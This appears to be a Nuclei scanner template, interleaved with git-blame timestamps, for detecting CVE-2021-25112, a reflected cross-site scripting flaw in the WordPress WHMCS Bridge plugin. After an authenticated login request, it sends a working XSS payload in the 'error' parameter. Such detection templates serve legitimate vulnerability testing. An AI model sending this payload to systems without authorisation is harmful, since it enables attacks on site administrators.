2022-03-27 14:25:03 +00:00
id : CVE-2021-25112
info :
2022-09-10 01:55:52 +00:00
name : WordPress WHMCS Bridge <6.4b - Cross-Site Scripting
2022-08-06 16:54:58 +00:00
author : dhiyaneshDk
2022-09-10 01:55:52 +00:00
severity : high
2022-08-10 08:34:09 +00:00
description : |
2022-09-10 01:55:52 +00:00
WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.
2022-03-27 14:25:03 +00:00
reference :
- https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
2022-08-25 08:56:24 +00:00
- https://plugins.trac.wordpress.org/changeset/2659751
2022-09-10 01:55:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-25112
2022-08-25 08:56:24 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-25112
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated
2022-03-27 14:25:03 +00:00
requests :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
2022-08-10 08:34:09 +00:00
2022-03-27 14:25:03 +00:00
- |
GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-08-06 16:54:58 +00:00
- "<strong><img src onerror=alert(document.domain)></strong>"
2022-03-27 14:25:03 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2022-09-10 01:55:52 +00:00
# Enhanced by md on 2022/09/08